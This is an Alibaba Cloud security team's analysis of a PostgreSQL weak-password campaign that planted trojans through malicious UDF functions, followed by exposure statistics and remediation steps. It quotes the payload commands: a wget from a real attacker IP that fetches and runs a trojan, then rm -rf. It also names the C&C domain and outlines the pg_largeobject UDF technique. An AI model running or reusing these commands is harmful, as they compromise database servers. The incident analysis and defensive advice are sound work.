态势感知将DDOS扼杀在摇篮中:涉及数千台PostgreSQL服务器

本文涉及的产品
云安全中心 免费版,不限时长
简介:

0x00 前言

       近日,云盾的态势感知系统成功捕获到一起利用PostgreSQL弱口令批量植入木马的事件。本文将分享我们对此次事件的追踪过程,从攻击方式,用到的工具,到攻击的范围,还原整个攻击事件。

0x01 发现

       2015年11月27日星期五,云盾态势感知系统产出了一条异常的告警,团队成员立即对告警进行响应。通过告警信息定位到了传播源。

1a685b704501d634c40e0fc51d92fb213f4ea644

       我们发现该传播源为一个HFS文件服务器:

d39dad961e70d7e76ef071870de3ce421f27b02a

       在HFS服务器中,发现了黑客用来批量扫描漏洞和自动攻击的程序:ps.exe和pexec.exe。下载到本地进行分析之后,判定此工具为针对PostgreSQL数据库的自动化攻击程序。程序使用了C#编写,ps.exe负责扫描PostgreSQL服务弱口令,将扫描结果通过web接口记录到文件:

ad821ff413cb4e971a6195513a36cdbb7a63253f

       黑客将扫描到弱口令的IP列表导入到pexec.exe,程序会首先判断服务器PostgreSQL的版本,通过SQL写入对应的/tmp/testproxy.so文件,然后创建名为exec111的UDF函数,最后通过UDF执行恶意指令。有趣的是,我们在利用程序中并发现没有针对windows版本的postgresql进行利用的代码,说明黑客的程序还是一个半成品。下面是针对linux下PostgreSQL 9.3版本的部分利用代码:

1284fbe0e95d98c3761a1cde4738603dce35747b

       在两个程序中,作者都写入了对硬件CPU ID的判断,程序仅允许在指定机器运行,但是作者却没对程序代码做混淆和加壳。

f1e08b36ba0f54536cb3c27b8f2e28b9ff2ee717

       在攻击者HFS上,我们还发现了攻击者已经扫描到的PostgreSQL弱口令和利用成功的IP列表:

9a0b8b54b496ca1fa37b6b8ad97cbe23cde7caab

0315490c4ada7b23b3b0074f4d2b75943e4d5724

       经过我们统计,这份数据里包含了被植入木马的2626个IP地址,以及刚扫描出的1217台存在弱口令的PostgreSQL服务器IP地址。

       进一步对攻击者植入的UDF程序进行逆向分析,发现该UDF执行了如下命令:

wget -P /tmp/ http://211.115.116.198:1234/testproxy -O /tmp/testproxy
chmod 777 /tmp/testproxy
/tmp/testproxy > testtmp &
rm -rf ./testproxy

       testproxy是真正的木马程序,启动后会尝试解析baby0119.com域名,并连接其80端口,等待C&C发送指令并执行。

0x02 攻击链路还原

  • 黑客通过ps.exe程序,全网扫描存在弱口令和空口令的PostgreSQL服务器并将IP保存。
  • 利用PostgreSQL pg_largeobject的特性,对漏洞主机发起攻击:将恶意udf分段写入PosrgreSQL表中,并导出实体文件到: /tmp/testproxy.so
  • 从/tmp/testproxy.so导入恶意代码,创建UDF函数并执行,下载恶意文件传播源(HFS服务器)上的testproxy木马并运行。
  • 木马启动后会尝试连接baby0119.com域名的 80端口,等待C&C发送指令。

0x03 漏洞影响

       攻击者扫描全网存在弱口令和空口令的PostgreSQL数据库主机,通过UDF函数植入木马,通过木马程序,攻击者可以控制受害机器发起恶意行为。阿里云云盾态势感知系统在27日第一时间发现该威胁,截止本文终稿,还并未发现木马C&C服务器开放和发送指令,我们推测攻击者还处于批量“抓鸡”阶段,还没有来得及开始利用这个木马进行攻击

  • 0x04影响范围

           我们针对全国开放5432端口的服务器进行了详细的探测,发现有19554台服务器运行着PostgreSQL服务,其中可以通过弱口令登录PostgreSQL的服务器有1353台。按地区分布数量进行排名,第一位是台湾,浙江、北京排在第二、三位。

    90f355abaa3851d2fca27516b9d14914be6b09bf

            在分析PostgreSQL弱口令的过程中,我们注意到了PostgreSQL的一个特性,即“信任IP登录”。在pg_hba.conf文件中,如果把某个IP段的auth-method字段配置为“trust”,意味着在该IP段下不需要任何验证即可访问数据库中所有数据。对上述1353台存在弱口令的服务器进行深入分析,我们发现超过50%的PostgreSQL对所有IP都开启了“trust”模式,这些服务器都存在极大的安全风险!

    98924e869435eaa03243501eb9e47c6b7d0b0a9f

    0x05 修复建议:

    1. 禁止postgresql以root权限运行,建议使用独立帐号运行

    adduser dbuser

    sudo su – dbuser

    1. 修改数据库帐号为强密码,例如

    alter user postgres with password ‘aliyunSecurity1234*_*’;

    1. 检查PostgreSQL配置文件conf中是否存在:host all all 0.0.0.0/0 trust ,建议修改为使用密码认证。
    1. 查看是否存在恶意UDF函数

    select proname,prosrc from pg_proc where proname = ‘exec111’;

    1. 查看是否存在可疑UDF函数,查看哪些函数不是系统预设的、或者管理员自己添加的

    select proname,prosrc from pg_proc;

    1. 查看是否存在可疑存储过程

    select tgrelid from pg_trigger;

    1. 检查自己服务器是否存在/tmp/testproxy.so文件
相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
目录
相关文章
|
1月前
|
Linux 网络安全 Windows
如何通过隐藏服务器真实IP来防御DDOS攻击
如何通过隐藏服务器真实IP来防御DDOS攻击
|
3月前
|
弹性计算 关系型数据库 数据库
开源PostgreSQL在倚天ECS上的最佳优化实践
本文基于倚天ECS硬件平台,以自顶向下的方式从上层应用、到基础软件,再到底层芯片硬件,通过应用与芯片的硬件特性的亲和性分析,实现PostgreSQL与倚天芯片软硬协同的深度优化,充分使能倚天硬件性能,帮助开源PostgreSQL应用实现性能提升。
|
3月前
|
云安全 缓存 安全
高防服务器、DDOS高防 IP 和高防 CDN该选择哪种好
选择高防服务器、高防IP和高防CDN时需要综合考虑多个方面,结合自身需求进行选择,我们先了解下三者的情况。
|
3月前
|
存储 关系型数据库 分布式数据库
在PolarDB中,集群地址对应一个代理服务器,主地址也是对应一个代理服务器吗?
在PolarDB中,集群地址对应一个代理服务器,主地址也是对应一个代理服务器吗?
32 0
|
8月前
|
SQL XML 弹性计算
【ECS生长万物之开源】搭建PostgreSQL主从架构
PostgreSQL被业界誉为最先进的开源数据库,支持NoSQL数据类型(JSON/XML/hstore)。本文档介绍在CentOS 7操作系统的ECS实例上搭建PostgreSQL主从架构的操作步骤。
|
8月前
|
SQL 弹性计算 关系型数据库
【ECS生长万物之开源】如何一键本地部署PolarDB for PostgreSQL
使用Docker直接部署PolarDB for PostgreSQL实例;使用Docker在开发镜像中源码编译部署PolarDB for PostgreSQL实例。
|
11月前
|
弹性计算 网络协议 5G
阿里云服务器有防ddos功能吗?可以抗多少流量的ddos?
阿里云服务器有防ddos功能吗?可以抗多少流量的ddos?是部分担心遭到DDOS攻击的用户比较关心的问题,因为网站遭遇到DDoS攻击是很多用户非常烦恼的事情,网站一旦遭到DDOS攻击很容易导致网站无法访问而又难以解决,阿里云服务器都有一定的DDoS基础防护,下面我们一起看看!
|
云安全 域名解析 弹性计算
阿里云服务器DDoS基础防护申请流程及常见问题解答
阿里云服务器为了能够更好的保护好每一个用户的云安全,提供免费的DDos防护——DDos基础防护。阿里云云安全中心默认为ECS实例免费提供最大5 Gbps的流量攻击的防护,不同实例规格的免费防护流量不同,用户可以登录云安全中心DDoS防护管理控制台查看实际防护阈值。
1036 0
阿里云服务器DDoS基础防护申请流程及常见问题解答
|
存储 传感器 运维
超聚变服务器操作系统FusionOS与阿里云PolarDB数据库完成兼容性认证
近日,超聚变服务器操作系统FusionOS签署阿里巴巴开源CLA(Contribution License Agreement, 贡献许可协议), 正式与阿里云PolarDB 开源数据库社区牵手,并率先展开超聚变服务器操作系统FusionOS 22与阿里云PolarDB数据库管理软件兼容性适配认证。
超聚变服务器操作系统FusionOS与阿里云PolarDB数据库完成兼容性认证
|
SQL 弹性计算 关系型数据库
使用ECS安装postgresql
使用ECS安装postgresql
685 0